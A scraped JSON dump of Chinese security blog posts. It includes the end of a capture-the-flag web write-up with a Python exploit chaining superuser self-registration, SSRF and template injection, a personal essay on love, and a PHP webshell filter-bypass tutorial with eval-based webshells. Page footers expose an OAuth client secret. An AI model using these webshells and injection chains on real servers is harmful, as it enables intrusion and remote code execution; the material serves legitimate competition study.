class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e Request, session, get, post\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e bs4 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e BeautifulSoup\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e json\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eHOST = \u003cspan class=\"string\"\u003e\u0026#x27;http://39.104.19.182\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eUSER = \u003cspan class=\"string\"\u003e\u0026#x27;frkasdf\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePASS = \u003cspan class=\"string\"\u003e\u0026#x27;qwer\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# session 默认keep-alive,这个服务端好像有点连接性问题,所以单独请求\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epost(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/reg/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;is_staff\u0026#x27;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;is_superuser\u0026#x27;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/login/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epage = BeautifulSoup(get(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/admin/app/token/\u0026#x27;\u003c/span\u003e, cookies=ses.cookies\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e).text, \u003cspan class=\"string\"\u003e\u0026#x27;lxml\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etoken = page.find(\u003cspan class=\"string\"\u003e\u0026#x27;td\u0026#x27;\u003c/span\u003e, attrs=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;class\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;field-Token\u0026#x27;\u003c/span\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003essti = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#123;config.__class__.__init__.__globals__[\u0026quot;os\u0026quot;].popen(\u0026quot;/readflag\u0026quot;).read() + \u0026quot;\u0026quot;\u0026#125;\u0026#125;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#x27;\u003c/span\u003e + json.dumps(\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;num1\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;num2\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;symbols\u0026#x27;\u003c/span\u003e: ssti,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:-\u003cspan class=\"number\"\u003e1\u003c/span\u003e].replace(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\\\u007b\u0026#x27;\u003c/span\u003e).replace(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#125;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\\\u007d\u0026#x27;\u003c/span\u003e) + \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#125;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = b64encode(payload.encode()).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ereq = Request(\u003cspan class=\"string\"\u003e\u0026#x27;GET\u0026#x27;\u003c/span\u003e, HOST + \u003cspan class=\"string\"\u003e\u0026#x27;//127.0.0.1:8000/flask_rpc\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;methods\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;url\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;http://localhost:5000/caculator\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# flask在:5000\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e: payload\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).prepare()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(json.loads(ses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/home/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;url\u0026#x27;\u003c/span\u003e: req.url,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;token\u0026#x27;\u003c/span\u003e: token\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;message\u0026#x27;\u003c/span\u003e])[\u003cspan class=\"string\"\u003e\u0026#x27;message\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/"},{"title":"关于爱","time":"2020-05-19T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e对“爱”这一情感的一些非常零散的想法与思考\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"爱\"\u003e爱\u003c/h2\u003e\n\u003cp\u003e是一件很难下定义的情感。\u003cbr\u003e\n这种爱,是人从最基本的生存需要中发展出的丰富的社会情感,与所有情感一同成为了人之所以为人的一\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e对“爱”这一情感的一些非常零散的想法与思考\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"爱\"\u003e爱\u003c/h2\u003e\u003cp\u003e是一件很难下定义的情感。\u003cbr\u003e这种爱,是人从最基本的生存需要中发展出的丰富的社会情感,与所有情感一同成为了人之所以为人的一部分。\u003c/p\u003e\u003ch4 id=\"父母\"\u003e父母\u003c/h4\u003e\u003cp\u003e父母之间的爱,是经历了时间考验的爱。\u003cbr\u003e从相遇,从别离又重逢,从一封封信件,到一同面对生活,到有我,到每一次的理解包容,到平常的每一天。\u003cbr\u003e父母,是我理解爱的一个窗口。\u003c/p\u003e\u003ch4 id=\"致橡树\"\u003e致橡树\u003c/h4\u003e\u003cp\u003e是伟大的爱。\u003cbr\u003e根,紧握在地下;叶,相触在云里。\u003cbr\u003e理想的爱是美丽的\u003c/p\u003e\u003ch4 id=\"姥姥\"\u003e姥姥\u003c/h4\u003e\u003cp\u003e厮守。平凡。坚强。\u003c/p\u003e\u003ch4 id=\"文字\"\u003e文字\u003c/h4\u003e\u003cp\u003e用文字写清爱,大概是不可能的。\u003cbr\u003e网络上那么多的“爱的高级表达”,都觉得好苍白无力\u003cbr\u003e“爱是人类最复杂,最伟大,最深层的情感”\u003c/p\u003e\u003ch2 id=\"喜欢与爱\"\u003e喜欢与爱\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e坐在一起,什么都不用想,什么都不用做\u003cbr\u003e就纯粹地坐在一起,看着你的眼睛。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e喜欢与爱,大概没有一个明确的分界线。\u003cbr\u003e初识,了解,关注,在意,喜欢,爱\u003c/p\u003e\u003ch4 id=\"歌德\"\u003e歌德\u003c/h4\u003e\u003cp\u003e浪漫主义与现实\u003c/p\u003e\u003ch4 id=\"责任\"\u003e责任\u003c/h4\u003e\u003cp\u003e爱不仅仅是简单的情感。爱带来了很多需要直面的事情。\u003cbr\u003e准备好面对时,才配得上说爱。\u003cbr\u003e对未来的思考\u003c/p\u003e\u003ch4 id=\"我\"\u003e我\u003c/h4\u003e\u003cp\u003e也许,算?\u003cbr\u003e不知道。\u003cbr\u003e\u003cstrong\u003e探寻\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"misc\"\u003emisc\u003c/h2\u003e\u003ch4 id=\"emmm。。\"\u003eemmm。。\u003c/h4\u003e\u003cp\u003e现在回想起来还挺对不起高中老师的emmm…\u003cbr\u003e后悔么?不可能。\u003c/p\u003e\u003ch4 id=\"情感\"\u003e情感\u003c/h4\u003e\u003cp\u003e记得前段时间有个很有意思的想法\u003cbr\u003e人的情感状态可以表示为若干维空间中的一个向量\u003cbr\u003e而一个种类的情感是这一空间中的一个张量\u003c/p\u003e\u003ch4 id=\"\"\u003e\u003c/h4\u003e\u003cp\u003e也许现在的想法还是很幼稚吧\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e由于很多地方不太好意思写,思考这种问题时我也组织不起来语言,所以是非常碎片化的关键词\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eLove encompasses \u003cstrong\u003ea range of\u003c/strong\u003e strong and positive emotional and mental states, from the most sublime virtue or good habit, the deepest interpersonal affection and to the simplest pleasure.\u003cbr\u003e– wikipedia\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"一些摘抄\"\u003e一些摘抄\u003c/h4\u003e\u003cul\u003e\u003cli\u003e根,紧握在地下;叶,相触在云里。 --舒婷\u003c/li\u003e\u003cli\u003e草在结它的种子,风在摇它的叶子。我们站着,不说话就十分美好。 --顾成\u003c/li\u003e\u003cli\u003e我这一生都是坚定不移的唯物主义者,唯有你,我希望有来生。 --周恩来\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/05/20/Misc/%E5%85%B3%E4%BA%8E%E7%88%B1/"},{"title":"从一道题到PHP Shell WAF绕过","time":"2020-05-09T16:00:00Z","content":"\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\n\u003cp\u003eDe1CTF 2020 中有一道渗透题Hard_Pentest,第一步是要上传一个php文件shell,而这个上传点当然是有waf的\u003cbr\u003e\n经过fuzz,确认能够使用的字符如下:\u003cbr\u003e\n\u003ccode\u003e!\u0026quot;#$%'()*+,\u003chr /\u003e\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\u003cp\u003eDe1CTF 2020 中有一道渗透题Hard_Pentest,第一步是要上传一个php文件shell,而这个上传点当然是有waf的\u003cbr\u003e经过fuzz,确认能够使用的字符如下:\u003cbr\u003e\u003ccode\u003e!\u0026quot;#$%'()*+,-./:\u0026lt;=\u0026gt;?@[\\]_\u0026#123; \u0026#125;\u003c/code\u003e\u003cbr\u003e我们能发现可用的字符中无字母,无数字,更重要的是无分号\u003c/p\u003e\u003ch2 id=\"这道题\"\u003e这道题\u003c/h2\u003e\u003cp\u003e在这道题中,通过尝试我们能发现可以通过short open tag替代分号的作用:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说,拿一个经典的无数字字母shell来稍加修改(\u003ccode\u003ereplace(';', '?\u0026gt;\u0026lt;?=')\u003c/code\u003e)即可构造出这样一个shell\u003cbr\u003e但是我自然不会善罢甘休,想要总结一下\u003cstrong\u003e各个版本\u003c/strong\u003e中shell waf的绕过方式\u003cbr\u003e下面我们从几个初始状态开始,逐步缩减可用的字符集,看看不一样的绕过方式\u003c/p\u003e\u003ch3 id=\"说明\"\u003e说明\u003c/h3\u003e\u003cp\u003e此处对下一部分如何归类与标注标题做一下简单的说明\u003cbr\u003e我将从两个初始状态开始(无字母、白名单\u003ccode\u003e0b\u003c/code\u003e与无字母、黑名单\u003ccode\u003e0w\u003c/code\u003e)向别的状态转移\u003cbr\u003e当然b与w分别代表blacklist与whitelist\u003cbr\u003e当状态发生转移时,将在状态代号(如\u003ccode\u003e0b\u003c/code\u003e)后附加一个点(.)并添加新的状态代号,比如\u003ccode\u003e0b.0\u003c/code\u003e, \u003ccode\u003e0b.1\u003c/code\u003e\u003cbr\u003e像上面那样同以\u003ccode\u003e0b.\u003c/code\u003e开头的状态说明这两个状态都是由\u003ccode\u003e0b\u003c/code\u003e状态转移而来\u003c/p\u003e\u003ch2 id=\"Webshell-Bypass\"\u003eWebshell Bypass\u003c/h2\u003e\u003ch3 id=\"root-strings-printable\"\u003eroot strings.printable\u003c/h3\u003e\u003cp\u003e这是一个普通的webshell:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_];\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们先ban掉一些普通的字符吧,先拿方括号开刀\u003c/p\u003e\u003ch3 id=\"root-0-ban掉\"\u003eroot.0 ban掉[]\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e\u0026#123;_\u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e\u0026#123;_\u0026#125;;\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们读一读手册\u003c/p\u003e\u003cfigure class=\"highlight markdown\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehttps://www.php.net/manual/en/language.types.array.php\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Note:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Both square brackets and curly braces can be used interchangeably\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; for accessing array elements (e.g. `$array[42]` and `$array\u0026#123;42\u0026#125;` will\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; both do the same thing in the example above).\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.4 it is possible to array dereference the result of a\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efunction or method call directly. Before it was only possible using\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea temporary variable.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.5 it is possible to array dereference an array literal.\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-1-ban掉分号\"\u003eroot.1 ban掉分号\u003c/h3\u003e\u003cp\u003e这个好办,上面已经给出了解决方案,在此例中只要去掉分号就好了\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_])\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-2-ban掉引号\"\u003eroot.2 ban掉引号\u003c/h3\u003e\u003cp\u003e你在上面见到引号了么?\u003c/p\u003e\u003ch3 id=\"root-3-ban掉大小写字母\"\u003eroot.3 ban掉大小写字母\u003c/h3\u003e\u003cp\u003e这样的shell一开始由p师傅(ORZORZORZORZORZORZ)发布在\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html\"\u003e博客\u003c/a\u003e中,后来又有一篇\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html\"\u003e提高篇\u003c/a\u003e讨论了php7下与unix glob引出的无字母webshell的利用。\u003c/p\u003e\u003cp\u003e首先我们要想怎么能通过字符串来取到对应的变量\u003c/p\u003e\u003cp\u003e从\u003ca href=\"https://www.php.net/manual/en/language.oop5.basic.php#:~:text=as%20of%20PHP%205.3.0\"\u003ePHP5.3.0起\u003c/a\u003e,字符串变量可以被当作函数直接调用,从PHP7开始这个字符串甚至不需要赋给一个单独的变量\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;phpinfo\u0026quot;\u003c/span\u003e;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说如果我们能够利用某些方式通过别的字符构造出函数名,从而进行调用\u003c/p\u003e\u003cp\u003ep师傅的这篇博客中介绍了两种办法:\u003c/p\u003e\u003ch3 id=\"root-3-w-无字母,白名单\"\u003eroot.3.w 无字母,白名单\u003c/h3\u003e\u003cp\u003e首先要彻底没有字母,除非他已经帮你把php 